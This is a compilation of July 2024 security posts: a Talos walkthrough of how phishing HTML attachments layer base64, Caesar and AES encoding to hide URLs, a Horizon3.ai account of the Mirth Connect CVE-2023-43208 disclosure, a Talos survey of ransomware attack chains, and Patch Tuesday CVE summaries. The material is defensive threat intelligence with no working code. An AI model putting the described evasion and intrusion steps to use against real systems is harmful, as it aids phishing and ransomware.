The decoded JavaScript code of the above base64-encoded string variable, the Caesar decryption function, and the phishing URL.

So, threat actors have used encoding, Caesar encryption and obfuscation altogether in this case to evade detection.

The example email below shows how threat actors have combined encoding and AES encryption in an HTML attachment to evade detection. 

Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling
A spear phishing example email with an HTML attachment that combines base64 encoding and AES encryption to bypass detection.
Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling
A snippet of the HTML attachment of the above email with a base64-encoded input field that is hidden.

As can be seen from the HTML attachment snippet, there is a base64-encoded string in this file. This string is first decoded using the 'atob' method (or the Base64_Decode_1 recipe). Once decoded, it yields a JSON string with four keys (a-d), as shown below. The value of the 'a' key is the encrypted string, which is decrypted on the fly. The values of the 'b' and 'd' keys are the passphrase and salt, respectively, for the PBKDF2 key derivation function used to create the decryption key. The value of the 'c' key is the Initialization Vector (IV) for the AES decryption function.  

Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling
The decoded JSON string is obtained from the encoded input field in the above HTML attachment. 

With the above values, the decryption key is derived on the fly (using the Derive_Key_PBKDF2 recipe). Then, with this key and the IV parameter, the value of 'a' is decrypted (using the Base64_Decode_AES_CBC_Decrypt recipe) to retrieve the URL, as shown below. Note that the inner URL is in HEX format (which can be decoded using the Hex_Decode recipe).  

Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling
The final phishing URL is obtained from AES decryption.

Once this URL is created, a fetch request with a POST method is sent to it, with a JSON body containing "{ "lettuce": "friendliness" }". Then, the response from the fetch request is read as text. The text is decrypted again by calling the pea function, and finally, the second decrypted result is written to the document using "document.write", replacing all current content. The walkthrough above gives an idea of how threat actors combine different evasion techniques and how challenging it is for defenders to detect such threats.

HTML smuggling in the wild 

Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling
The number of unique emails that used HTML smuggling between Oct. 1, 2023, and May 31, 2024.

The above chart indicates that we observed a peak in the number of emails leveraging this technique on Feb. 2, 2024, particularly those employing advanced encoding and obfuscation in their HTML attachments. The subsequent pie chart shows that our American customers were targeted significantly more than our European customers by email threats utilizing this technique. 

Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling
The percentage of emails that used HTML smuggling against customers in different geographical regions.

We noticed that some industry verticals were targeted more than others by email threats using the HTML smuggling technique during the observed time window. For example, companies in the human resources, insurance and healthcare domains were targeted the most, while legal, supply chain and e-commerce companies were among those targeted the least.

Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling
The number of convictions for email threats that used HTML smuggling across different industry verticals.

Our observation shows that the ".shtml" file extension, followed by ".htm" and ".html", were the most used in email threats that leveraged the HTML smuggling technique. The fourth and fifth most widely used file extensions were ".htm...." and ".xhtml". The other file extensions we found interesting included ".pdf.shtml", ".pdf.htm", and ".xlsx.html". We have identified these as potential techniques to exploit software engineering oversights and bypass detection mechanisms.

Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling
Top HTML attachment file extensions observed in email campaigns that used HTML smuggling.

How to protect against email threats that use HTML Smuggling? 

As outlined earlier, HTML smuggling poses significant challenges to traditional security solutions and rule-based detection engines. The extensive deployment of encoding, encryption, and obfuscation renders the detection of emails utilizing this technique challenging, necessitating enhancements in various aspects of defense. Several of these areas are detailed below.

Multi-layered defense 

Swiftly blocking an attack minimizes its potential impact on our customers' business operations. Thus, it is advantageous to neutralize threats at initial stages, such as at the email gateway and web filtering level. However, if a message passes through these perimeter security controls and lands in a user’s inbox, retrospective detections and endpoint protection controls should either detect these messages at later stages and pull them out of the user’s inbox or prevent the execution of such malicious JavaScript on the victim’s device. 

Improved security engineering

Despite typically having insufficient information about the architecture and inner workings of commercial security solutions, threat actors occasionally exploit software engineering oversights to bypass detection mechanisms. A notable instance of this is their manipulation of email attachments to evade scrutiny. Therefore, monitoring these evasion techniques and revising the code accordingly could improve the efficacy of existing detection engines significantly. Talos monitors changes in adversaries’ techniques precisely and makes sure our customers stay protected.  

Advanced detection methods 

The HTML smuggling technique enables emails to effectively evade traditional perimeter security measures, including email gateways and presents significant detection challenges for rule-based systems. Consequently, the deployment of more sophisticated message processing and security solutions is imperative. Additionally, enhancing endpoint security measures to prevent the execution of such scripts on user devices is essential.  

Talos continuously monitors the changes in attackers' techniques and updates our detection capabilities to ensure our customers stay protected. Learn more about Cisco Security Email Threat Defense here.

Indicators of compromise (IOCs)

Indicators of compromise (IOCs) associated with this blog post can be found here

Ensuring Cybersecurity: Horizon3.ai’s Rapid Response Service in Action

10 July 2024 at 11:44

How Horizon3.ai’s Rapid Response Identified and Mitigated a Critical Mirth Connect Vulnerability

A key consideration in cybersecurity is determining whether a known software vulnerability is actually exploitable. This often depends on how and where the at-risk software is deployed in your environment. To address the need to find what’s exploitable, Horizon3.ai developed and recently unveiled its Rapid Response service.

This service provides our customers with proactive notifications about potentially exploitable vulnerabilities existing in their environments. Then using NodeZero, it allows them to test for exploitability for zero-day and N-day vulnerabilities. Once remediations are performed, they then use NodeZero to verify that issues have been resolved.

Let’s look at an example of Rapid Response in action, in the context of a Mirth Connect RCE (Remote Code Execution) vulnerability that our research team discovered last year.

Timeline of Mirth Connect Vulnerability: CVE-2023-43208

As part of our Rapid Response service, Horizon3.ai’s Attack Team performs expert research on popular software applications, this time researching Mirth Connect by NextGen HealthCare. Mirth Connect is an open-source data integration platform widely used by healthcare organizations.

Last August, our Attack Team was tracking a vulnerability in Mirth (CVE-2023-37679) which was reportedly patched in Mirth Connect 4.4.0, released on Aug 2, 2023. In the release notes for 4.4.0., our research team found it odd that this vulnerability was reported to affect only Mirth Connect versions running Java 8. They believed that further investigation needed to be performed. According to Shodan at the time, several thousand instances of Mirth Connect were exposed to the internet.

Shodan Search for Mirth Connect

On September 8, 2023, due to looking closer at the Mirth patch and CVE noted above, the Attack Team privately disclosed a new, unauthenticated remote code execution (RCE) vulnerability they had discovered in Mirth Connect 4.4.0. that was the result of an incomplete patch for CVE-2023-37679.

On October 2, after privately disclosing our discovery of the RCE vulnerability in Mirth, our researchers developed an exploit that was fully capable of exploiting vulnerable versions of Mirth. The exploit was added to NodeZero at that time. After adding the exploit to NodeZero, our customers were able to launch a Rapid Response test for the Mirth vulnerability we discovered to quickly confirm if their instances of Mirth were exploitable. In fact, many of them were.

Through our Rapid Response test for Mirth, our customers had a 15-day window to test for Mirth exploitability before a patch for the RCE vulnerability was even available from NextGen. The Rapid Response zero-day test allowed our customers to take action to protect their exploitable Mirth implementations while they waited for a patch from NextGen.

On October 17, after working closely with NextGen, who provided a test build to our researchers, they released a patched version to remedy the vulnerability our researchers discovered. You can learn more about our public disclosure here.

On October 26, the vulnerability our researchers discovered (CVE-2023-43208) was officially published on the NVD (National Vulnerability Database). According to our disclosure, “Mirth Connect is an interesting application for us at Horizon3.ai because a number of our clients are in the healthcare space and use this application. Healthcare companies are commonly targeted by ransomware threat actors, and this application has decent exposure on the Internet.”

On January 12, 2024, after giving those in the healthcare industry plenty of time to update any vulnerable Mirth instances, our researchers publicly disclosed an exploit for the Mirth vulnerability. According to our public disclosure, “If you’re a user of Mirth Connect and haven’t patched yet, we strongly encourage you to upgrade to the 4.4.1 patch release or later. This is an easily exploitable vulnerability that our own pentesting product, NodeZero, has exploited successfully against a number of healthcare organizations [customers].”

As part of our Rapid Response service, all customers of Horizon3.ai who had previously run NodeZero in their environments were already notified that their Mirth Connect implementations were likely exploitable. We also recommended that they should run the zero-day test for Mirth to identify all systems running the exploitable Mirth version. Since Mirth is an open-source platform, other systems who use Mirth could be exploitable as well.

On February 29, Bayer Radiology Solutions released an important update on Mirth Connect. This update showed that other systems in healthcare environments could be exploitable too. Here is an excerpt from that update: “Bayer has performed an initial assessment of the recently disclosed remote code execution vulnerabilities affecting Mirth Connect versions prior to 4.4.1 (CVE-2023-37679 and CVE-2023-43208).

After conducting a thorough analysis, we have determined that the following Bayer devices contain a vulnerable version of Mirth Connect:

  • MEDRAD® Stellant FLEX CT Injection System
  • MEDRAD® Stellant CT Injection System with Certegra® Workstation
  • MEDRAD® MRXperion MR Injection System”

On March 7, our researchers then learned via a discussion on GitHub that attackers were actively trying to exploit the vulnerability. At that time, NodeZero was updated with information about the vulnerability being exploited in the wild to further warn organizations about the critical need to update to Mirth 4.4.1.

On April 19, Microsoft Threat Intelligence posted on X (formally Twitter) said that they were tracking several ransomware threat actors who were exploiting both CVE-2023-37679 and CVE-2023-43208.

On May 20, CISA added CVE-2023-43208 to the CISA Known Exploited Vulnerabilities (KEV) Catalog – meaning, the vulnerability was reported as being widely exploited, seven months after NextGen issued a patch on October 17, 2023.

Why Rapid Response Matters in the Context of Exploitability

Even before a patch was available from NextGen, our customers were testing their environments with the NodeZero Rapid Response test to determine if their instances of Mirth Connect were exploitable – many of them were. Once a patch was issued, our customers patched their Mirth instances and launched the NodeZero Rapid Response test again to confirm that the patch was effective and that their systems were no longer exploitable.

More importantly, our customers who ran the Mirth Rapid Response test and found they were exploitable were patching all instances of Mirth for nearly nine months before the vulnerability was added to the CISA KEV.

(Here is a screen shot of the NextGen Mirth Connect test on NodeZero with information about the CVE, links to resources to learn more about the issue, and a corresponding timeline of notable events.)

NodeZero Rapid Response Test for NextGen Mirth Connect CVE-2023-43208

More About Rapid Response

With the latest improvements to NodeZero, both new and existing customers now have a dedicated center for all Rapid Response activities. This includes self-service tests, threat details, and alerts from Horizon3.ai about the exploitability of specific assets in their environments.

In today’s dynamic threat landscape, speed is paramount, followed closely by prioritizing impact on business. By emphasizing velocity and providing tailored, actionable threat intelligence, Horizon3.ai’s Rapid Response service uses offensive security principles to inform defenders about the targets that matter most when protecting critical infrastructure.

Learn More About Rapid Response. Download our Rapid Response White Paper Today.

The post Ensuring Cybersecurity: Horizon3.ai’s Rapid Response Service in Action appeared first on Horizon3.ai.

Inside the ransomware playbook: Analyzing attack chains and mapping common TTPs

10 July 2024 at 10:00
Inside the ransomware playbook: Analyzing attack chains and mapping common TTPs

Given the recent slate of massive ransomware attacks that have disrupted everything from hospitals to car dealerships, Cisco Talos wanted to take a renewed look at the top ransomware players to see where the current landscape stands. 

Based on a comprehensive review of more than a dozen prominent ransomware groups, we identified several commonalities in tactics, techniques and procedures (TTPs), along with several notable differences and outliers.  

Talos’ studies indicate that the most prolific ransomware actors prioritize gaining initial access to targeted networks, with valid accounts being the most common mechanism. Phishing for credentials often precedes these attacks, a trend observed across all incident response engagements, consistent with our 2023 Year in Review report. Over the past year, many groups have increasingly exploited known and zero-day vulnerabilities in public-facing applications, making this a prevalent initial access vector. 

Watch: Discussion of latest ransomware trends

The AlphV/Blackcat and Rhysida groups stood out with the broadest range of TTPs, demonstrating significant tactical diversity. Conversely, groups like BlackBasta, LockBit and Rhysida not only encrypted data and defaced victim systems to maximize impact. Distinctively, the Clop ransomware group primarily focused on extortion through data theft rather than typical encryption tactics and is one of the only actors to exploit zero-day vulnerabilities. 

Our findings are based on a comprehensive analysis of 14 ransomware groups between 2023 and 2024. We selected the ransomware groups based on volume of attacks, impact on customers, and atypical threat actor behavior. Our research includes data from the actors’ public leak sites, Cisco Talos Incident Response (Talos IR), Talos internal tracking efforts and open-source reporting.

During this research period, Talos IR was actively engaged in responding to a considerable number of ransomware attacks heavily targeting the United States. These attacks spanned a broad spectrum of industries, notably impacting the manufacturing and information sectors, employing various techniques to encrypt data and demand ransoms, with their activities resulting in significant levels of financial losses and business disruption. 

Inside the ransomware playbook: Analyzing attack chains and mapping common TTPs

Over the past year, we have witnessed major shifts in the ransomware space with the emergence of multiple new ransomware groups, each exhibiting unique goals, operational structures and victimology. The diversification highlights a shift toward more boutique-targeted cybercriminal activities, as groups such as Hunters International, Cactus and Akira carve out specific niches, focusing on distinct operational goals and stylistic choices to differentiate themselves. 

An advanced arsenal: Notable TTPs employed by ransomware actors 

Utilizing the MITRE ATT&CK framework as a baseline, we identified the primary TTPs utilized by major ransomware threat actors over the past three years which involved a detailed examination of each TTP, its execution methods, and relevant sub-techniques, that highlight unique TTPs not previously emphasized in MITRE’s top ATT&CK techniques. 

Key findings indicate that many of the most prominent groups in the ransomware space prioritize establishing initial access and evading defenses in their attack chains, highlighting these phases as strategic focal points. Within the past year, many groups have exploited critical vulnerabilities in public-facing applications, becoming a prevalent attack vector, which we addressed later, indicating an increased need for appropriate security controls and patch management.  

Echoing a trend identified in our Talos Year in Review report, our data supported the conclusion that ransomware actors continue to apply a significant focus to defense evasion tactics to increase dwell time in victim networks. Typical popular defense evasion methods include the disablement and modification of security software such as anti-virus programs, endpoint detection solutions, or security features in the operating system to prevent the detection of the ransomware payload. Adversaries will also often obfuscate malicious software by packing and compressing the code, eventually unpacking itself in memory when executed. They’ll also modify the system registry to disable security alerts, configure the software to execute at startup, or block certain recovery options for users. 

Inside the ransomware playbook: Analyzing attack chains and mapping common TTPs

The most prevalent credential access technique Talos IR engagements have seen in 2023 and 2024 is the dumping of LSASS memory contents. Ransomware threat actors were seen often targeting the Local Security Authority Subsystem Service (LSASS) to extract authentication credentials by dumping memory. This technique involves accessing the LSASS process' memory to retrieve plaintext passwords, hashed passwords, and other authentication tokens stored in memory. This tactic is particularly effective because it exploits the normal functioning of a legitimate system process. 

We also identified a trend in command and control (C2) activities indicating continued use of commercially available tools by affiliates, such as AnyDesk and ScreenConnect remote monitoring and management (RMM) applications, indicating a threat actor preference for readily accessible, legitimate technologies in maintaining influence over compromised systems. Abusing often trusted applications allows actors to blend in with corporate network traffic and reduce resource development costs without needing to develop distinct custom C2 mechanisms.  

Typical attack chain of ransomware actors: Insights from the top 14 groups 

Inside the ransomware playbook: Analyzing attack chains and mapping common TTPs

In the first phase of a ransomware attack, adversaries work to gain initial access to the target network, using a combination of social engineering, network scanning and open-source research to learn about their victims, identify possible access vectors, and customize their initial access attempts. Adversaries may send emails containing malicious attachments or URL links that will execute malicious code on the target system, deploying the actors' tools and malware, and exploiting multi-factor authentication (MFA). There are many ways adversaries hope to bypass MFA, whether because of poor implementation or because they already have valid account credentials. Most notably, we have seen an increasing number of ransomware affiliates attempting to exploit vulnerabilities or misconfigurations in internet-facing systems, such as in legacy or unpatched software.   

Then, these actors will look to establish long-term access, ensuring that their operations will be successful even if their initial intrusion is discovered and remediated.  Attackers often use automated malware persistence mechanisms, such as AutoStart execution upon system boot, or modify registry entries. Remote access software tools and create local, domain and/or cloud accounts can also be deployed to establish secondary credentialed access. 

Upon establishing persistent access, threat actors will then attempt to enumerate the target environment to understand the network’s structure, locate resources that can support the attack, and identify data of value that can be stolen in double extortion. Using various local utilities and legitimate services, they exploit weak access controls and elevate privileges to the administrator level to progress further along the attack chain. Ransomware actors continue this cycle of persistence to escalate privileges and compromise additional hosts. We have observed the popular use of many network scanner utilities in conjunction with local operating system tools and utilities (living-off-the-land binaries) like Certutil, Wevtutil, Net, Nltes and Netsh to blend in with typical operating system functions, exploit trusted applications and processes, and aid in malware delivery.  

In the shifting focus to a double extortion model, many adversaries collect sensitive or confidential information to send to an external adversary-controlled resource or over some C2 mechanism. File compression and encryption utilities WinRAR and 7-Zip have been used to conceal files for the unauthorized transfer of data, while adversaries often exfiltrate files using the previously mentioned legitimate RMM tools. Custom data exfiltration tools have been developed and used by the more mature RaaS operations, offering custom tooling such as Exbyte (BlackByte) and StealBit (LockBit) to facilitate data theft.  

At this point, adversaries are ready to stage the ransomware payload and begin encryption. Steps they may take to prepare for the attack include customizing the code for specific objectives (e.g., ignoring certain file types/locations), embedding the ransomware in the environment, testing delivery mechanisms, and ensuring that the ransomware relates to and receiving instructions from the attacker's C2 server, which contains the encryption key. The adversary will then begin encrypting the network and notifying the victim that they have been breached. If the goal is pure data theft extortion, then this phase is skipped.   

Ransomware actor’s exploitation of vulnerable applications (CVEs)   

Analysis of Talos IR engagements focusing on the exploitation of critical vulnerabilities in public-facing applications by ransomware actors uncovered three vulnerabilities for their repeated exploitation: CVE-2020-1472, CVE-2018-13379 and CVE-2023-0669. Exploitation of these and other critical vulnerabilities can provide initial access and lead to privilege escalation by the threat actors.  

CVE-2020-1472 ("Zerologon")   

CVE-2020-1472, known as "Zerologon," exploits a flaw in the Netlogon Remote Protocol (MS-NRPC), allowing attackers to bypass authentication mechanisms and change computer passwords within a domain controller's Active Directory. Ransomware actors leverage this vulnerability to gain initial access to networks without requiring authentication, quickly escalating privileges to domain administrator levels. This access enables them to manipulate security policies, and potentially disable security defenses, facilitating unobstructed lateral movement and attack progression.   

CVE-2018-13379 (Fortinet FortiOS SSL VPN vulnerability)   

The path traversal vulnerability in Fortinet's FortiOS SSL VPN, identified as CVE-2018-13379, allows unauthenticated attackers to access system files through specially crafted HTTP requests. Ransomware groups have exploited this vulnerability to obtain sensitive information, such as VPN session tokens, which can be used to gain unauthorized access to the network. With access secured, attackers will then advance through the attack chain moving laterally within the network, exploiting further vulnerabilities or weak configurations, deploying ransomware, and exfiltrating data.   

CVE-2023-0669 (GoAnywhere MFT vulnerability)   

Discovered in January 2023, CVE-2023-0669 affects the GoAnywhere Managed File Transfer (MFT) software, allowing remote attackers to execute arbitrary code on the server without requiring authentication. This critical vulnerability enables actors to deploy ransomware payloads directly to servers or use the compromised server as a pivot for further internal reconnaissance and lateral movement. The ability to execute arbitrary code enables attackers to manipulate systems, create backdoors and disable security controls.   

Volt Typhoon, a People’s Republic of China-affiliated threat actor, was recently documented actively targeting U.S. critical infrastructure, with an attack chain involving exploitation of known or zero-day vulnerabilities. Volt Typhoon has been observed infiltrating IT systems of critical infrastructure organizations across the U.S., including territories like Guam exploiting vulnerabilities in multiple products including a server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure, CVE-2023-46805 and CVE-2024-21887.

Talos also recently reported on a complex campaign targeting Cisco Adaptive Security Appliances (ASA), exemplifying further state-sponsored actors targeting critical vulnerability exploits in perimeter network devices. Cisco's PSIRT and Talos Threat Intelligence and Interdiction identified the previously unknown actor UAT4356, who employed bespoke tooling for sophisticated espionage activities, leveraging two vulnerabilities, CVE-2024-20353 and CVE-2024-20359, as part of this campaign.

The security of public-facing applications continues to be an area of significance due to organizations' continued reliance of scalable software applications, integral for day-to-day business operations, posing a significant impact on organizational security and data integrity. The exploitation of these vulnerabilities can lead to severe disruptions, financial losses and reputational damage.  

Mitigation recommendations 

Regular patch management: Consistently apply patches and updates to all systems and software to address vulnerabilities promptly and reduce the risk of exploitation. 

Strict password policy and MFA: Implement strong password policies that require complex, unique passwords for each account. Additionally, enforce multi-factor authentication (MFA) to add an extra layer of security. 

System and environment hardening: Apply best practices to harden all systems and environments, minimizing attack surfaces by disabling unnecessary services and features. 

Network separation and client network authentication: Segment your network using VLANs or similar technologies to isolate sensitive data and systems, preventing lateral movement in case of a breach. In addition to utilizing network access control mechanisms such as 802.1X to authenticate devices before granting network access, ensuring only authorized device connections. 

Monitoring and endpoint detection and response: Implement a Security Information and Event Management (SIEM) system to continuously monitor and analyze security events, in addition to the deployment of EDR/XDR solutions on all clients and servers to provide advanced threat detection, investigation, and response capabilities 

Principle of least privilege: Adopt a least-privilege approach, ensuring that users and systems have only the minimal level of access necessary to perform their functions, thereby limiting potential damage from compromised accounts. 

Minimize IT exposure to the internet: Reduce your IT systems' exposure to the Internet by limiting the number of public-facing services and ensuring robust protections for any necessary external interfaces. 

Largest Patch Tuesday in 3 months includes 5 critical vulnerabilities

9 July 2024 at 18:01
Largest Patch Tuesday in 3 months includes 5 critical vulnerabilities

Microsoft released its monthly security update on Tuesday, disclosing 142 vulnerabilities across its suite of products and software. Of those, there are five critical vulnerabilities, and every other security issue disclosed this month is considered "important."

This is the largest Patch Tuesday since April when Microsoft patched 150 vulnerabilities.

Of the critical vulnerabilities, two are considered more likely to be exploited:

CVE-2024-38023, a remote code execution vulnerability in Microsoft SharePoint server, where an authenticated attacker with Site Owner permissions can use the vulnerability to execute arbitrary code in the context of SharePoint server.

CVE-2024-38060, a remote code execution vulnerability in Microsoft Windows Codecs Library that can be exploited by an authenticated attacker who uploads a specially crafted malicious TIFF file.

There are three other critical vulnerabilities listed in this advisory. All three (CVE-2024-38074, CVE-2024-38076 and CVE-2024-38077) are remote code execution vulnerabilities in Windows Remote Desktop Licensing Service. In all of them, an attacker could send a specially crafted network packet which could cause remote code execution. In the case of CVE-2024-38077, the adversary does not need to be authenticated.

All the remaining vulnerabilities are considered important. Of these, CVE-2024-38080 is particularly relevant because Microsoft has acknowledged that it’s already being exploited in the wild. An adversary could exploit this elevation of privilege vulnerability in Windows Hyper-V to gain System privileges.

Cisco Talos' Vulnerability Research team discovered another elevation of privilege vulnerability, CVE-2024-38062, in the kernel-mode driver. An adversary could also exploit this vulnerability to gain System privileges. Microsoft considers the complexity of this attack to be "low," though it's "less likely" to be exploited.

Several other “important” vulnerabilities could lead to remote code execution and are identified by Microsoft as being “more likely” to be exploited.

CVE-2024-38021 is a remote code execution vulnerability in Microsoft Office. An attacker could craft a malicious link that bypasses the Protected View Protocol, leading to the leaking of local NTLM credentials and remote code execution.

CVE-2024-38024 is a remote code execution vulnerability in Microsoft SharePoint Server. An adversary could exploit this issue by uploading a specially crafted file to the targeted SharePoint Server and crafting specialized API requests to trigger the deserialization of a file's parameters, leading to arbitrary code execution in the context of the SharePoint server. However, this attacker would need to have Site Owner permissions or higher.

CVE-2024-38094 is another vulnerability in SharePoint servers. Adversaries with Site Owner permissions can use this vulnerability to inject arbitrary code and execute code in the context of a SharePoint server.

A complete list of all the vulnerabilities Microsoft disclosed this month is available on its update page.  

In response to these vulnerability disclosures, Talos is releasing a new Snort rule set that detects attempts to exploit some of them. Please note that additional rules may be released at a future date, and current rules are subject to change pending additional information. Cisco Secure Firewall customers should use the latest update to their rule set by updating their SRU. Open-source Snort Subscriber Rule Set customers can stay up-to-date by downloading the latest rule pack available for purchase on Snort.org.  

The rules included in this release that protect against the exploitation of many of these vulnerabilities are 63687 - 63690, 63693, 63694 and 63697 - 63700. There are also Snort 3 rules 300958 - 300961.

The July 2024 Security Update Review

9 July 2024 at 17:29

We’re just past the halfway point of 2024, and as expected, Microsoft and Adobe have released their regularly scheduled updates. Take a break from your regular activities and join us as we review the details of their latest security alerts. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for July 2024

For July, Adobe released three patches addressing seven CVEs in Adobe Premiere Pro, InDesign, and Adobe Bridge. The patch for InDesign is the largest, fixing four Critical-rated CVEs. All four could lead to arbitrary code execution. The fix for Premiere Pro fixes a single CVE that could lead to arbitrary code execution. Finally, the fix for Bridge fixes one Critical rated and one Important rated bug. The Critical-rated bug could lead to code execution while the other bug is a memory leak. After such a huge Adobe release last month, it’s nice to see a smaller one this month.

None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. Adobe categorizes these updates as a deployment priority rating of 3.

Microsoft Patches for July 2024

This month, Microsoft released a gargantuan 139 new CVEs in Windows and Windows Components; Office and Office Components; .NET and Visual Studio; Azure; Defender for IoT; SQL Server; Windows Hyper-V; Bitlocker and Secure(?) Boot; Remote Desktop; and Xbox (yes Xbox!). If you include the third-party CVEs being documented this month, the CVE count comes to 142. One of these cases came through the ZDI program.

Of the patches being today, five are rated Critical, 133 are rated Important, and three are rated Moderate in severity. This release is another huge bunch of fixes from Redmond, just shy of the record 147 CVEs from back in April this year.

Two of these CVEs are listed as publicly known, with one of those being a third-party update that’s now being integrated into Microsoft products. Two other bugs are listed as being under active attack. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerabilities currently being exploited:

-       CVE-2024-38080 – Windows Hyper-V Elevation of Privilege Vulnerability
This vulnerability could allow an authenticated threat actor to execute code with SYSTEM privileges. While not specifically stated by Microsoft, let’s assume the worst-case scenario and say that an authorized user could be on a guest OS. Microsoft also does not state how widespread the exploitation is, but this exploit would prove quite useful for ransomware. If you’re running Hyper-V, test and deploy this update quickly.

-       CVE-2024-38112 – Windows MSHTML Platform Spoofing Vulnerability
This bug is listed as “Spoofing” for the impact, but it’s not clear exactly what is being spoofed. Microsoft has used this wording in the past for NTLM relay attacks, but that seems unlikely here. Given the researcher who reported this to Microsoft, we’ll likely see additional analysis from them soon. The good news is that a user would need to click a link to be affected. The bad news is that users click anything.

-       CVE-2024-38077 – Windows Remote Desktop Licensing Service Remote Code Execution Vulnerability
This is one of three Remote Desktop Licensing RCEs getting fixed this month, and all have a CVSS rating of 9.8. Exploitation of this should be straightforward, as any unauthenticated user could execute their code simply by sending a malicious message to an affected server. As a temporary workaround, you could disable the Licensing Service, but if you’re running it, you likely need it. I would also ensure these servers are not addressable to the Internet. If a bunch of these servers are Internet-connected, I would expect exploitation soon. Now is also a good time to audit your servers to ensure they aren’t running any unnecessary services.

-       CVE-2024-38060 – Microsoft Windows Codecs Library Remote Code Execution Vulnerability
This bug does require the attacker to be authenticated, but any authenticated user could abuse it. It simply requires an authenticated user to upload a specially crafted TIFF image to an affected system. This would be a nifty method for lateral movement once an initial foothold has been achieved. There are no workarounds either, so test and deploy the patch quickly.

-       CVE-2024-38023 – Microsoft SharePoint Server Remote Code Execution Vulnerability
This vulnerability also requires authentication, but any SharePoint user with Site Owner permissions can hit it. However, the default configuration of SharePoint allows authenticated users to create sites. That’s why I disagree with Microsoft’s CVSS rating here. By changing “Privileges Required” to low instead of high, it takes it from a 7.2 to (IMHO) more accurate 8.8. We blogged about this type of bug in the past. These types of bugs have been exploited in the past, so if you’re running SharePoint, don’t disregard or delay implementing this fix.

Here’s the full list of CVEs released by Microsoft for July 2024:

CVE Title Severity CVSS Public Exploited Type
CVE-2024-38080 Windows Hyper-V Elevation of Privilege Vulnerability Important 7.8 No Yes EoP
CVE-2024-38112 Windows MSHTML Platform Spoofing Vulnerability Important 705 No Yes Spoofing
CVE-2024-37985 * Arm: CVE-2024-37985 Systematic Identification and Characterization of Proprietary Prefetchers Important 5.9 Yes No Info
CVE-2024-35264 .NET and Visual Studio Remote Code Execution Vulnerability Important 8.1 Yes No RCE
CVE-2024-38023 Microsoft SharePoint Server Remote Code Execution Vulnerability Critical 7.2 No No RCE
CVE-2024-38060 Microsoft Windows Codecs Library Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2024-38074 Windows Remote Desktop Licensing Service Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2024-38076 Windows Remote Desktop Licensing Service Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2024-38077 Windows Remote Desktop Licensing Service Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2024-38095 .NET and Visual Studio Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2024-30105 .NET Core and Visual Studio Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2024-38091 Microsoft WS-Discovery Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2024-35270 Windows iSCSI Service Denial of Service Vulnerability Important 5.3 No No DoS
CVE-2024-38101 Windows Layer-2 Bridge Network Driver Denial of Service Vulnerability Important 6.5 No No DoS
CVE-2024-38102 Windows Layer-2 Bridge Network Driver Denial of Service Vulnerability Important 6.5 No No DoS
CVE-2024-38105 Windows Layer-2 Bridge Network Driver Denial of Service Vulnerability Important 6.5 No No DoS
CVE-2024-38027 Windows Line Printer Daemon Service Denial of Service Vulnerability Important 6.5 No No DoS
CVE-2024-38048 Windows Network Driver Interface Specification (NDIS) Denial of Service Vulnerability Important 6.5 No No DoS
CVE-2024-38031 Windows Online Certificate Status Protocol (OCSP) Server Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2024-38067 Windows Online Certificate Status Protocol (OCSP) Server Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2024-38068 Windows Online Certificate Status Protocol (OCSP) Server Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2024-38015 Windows Remote Desktop Gateway (RD Gateway) Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2024-38071 Windows Remote Desktop Licensing Service Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2024-38072 Windows Remote Desktop Licensing Service Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2024-38073 Windows Remote Desktop Licensing Service Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2024-38099 † Windows Remote Desktop Licensing Service Denial of Service Vulnerability Important 5.9 No No DoS
CVE-2024-38081 .NET, .NET Framework, and Visual Studio Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2024-38092 † Azure CycleCloud Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2024-35261 Azure Network Watcher VM Extension Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2024-38061 DCOM Remote Cross-Session Activation Elevation of Privilege Vulnerability Important 7.5 No No EoP
CVE-2024-38052 Kernel Streaming WOW Thunk Service Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2024-38054 Kernel Streaming WOW Thunk Service Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2024-38057 Kernel Streaming WOW Thunk Service Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2024-38089 Microsoft Defender for IoT Elevation of Privilege Vulnerability Important 9.1 No No EoP
CVE-2024-38013 Microsoft Windows Server Backup Elevation of Privilege Vulnerability Important 6.7 No No EoP
CVE-2024-38033 PowerShell Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2024-38043 PowerShell Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2024-38047 PowerShell Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2024-38059 Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2024-38100 Windows File Explorer Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2024-38034 Windows Filtering Platform Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2024-38079 Windows Graphics Component Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2024-38085 Windows Graphics Component Elevation of Privilege Vulnerability Important 7.8 No No EoP
